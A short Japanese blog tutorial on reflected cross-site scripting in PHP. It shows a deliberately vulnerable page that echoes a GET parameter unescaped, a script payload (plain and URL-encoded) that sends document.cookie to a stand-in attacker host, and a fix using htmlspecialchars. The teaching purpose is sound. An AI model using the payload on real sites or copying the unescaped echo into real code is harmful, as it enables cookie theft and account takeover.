今回は、XSS(クロス・サイト・スクリプティング)についてです。
悪意のあるURLが送り付けられると、自分が入力したユーザー名などの
個人しか知りえないような情報が読みだされてしまします。
例:Webにログイン後、クッキーにユーザー名が設定されている場合
<?php
setcookie("username", "ぴろん");
if (isset($_GET['id'])) echo $_GET['id'];
?>
ユーザー名は、ログインした人しか分からないはずなのに、
このページを表示していて、アドレスに
以下のようなスクリプトを含ませて、
http://localhost/blog/xss.php?id=<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>
<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>
urlencodeで、「<」等の文字列を変換して送り付けると...
http://localhost/blog/xss.php?id=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fwaruwaru.co.jp%2F%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E
このように、サイト内でしか知りえないパラメータの「username」が表示されてしまいました。(笑
スクリプトを使って、ユーザーから渡された値は、このようにエスケープするとコードは無害化されて
問題が無くなりますね。
<?php
function _hs($value) {
$value = htmlspecialchars($value, ENT_QUOTES);
return($value);
}
setcookie("username", "ぴろん");
if (isset($_GET['id'])) echo _hs($_GET['id']);
?>
今度は、ただの文字列になりました。
シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/
0 件のコメント:
コメントを投稿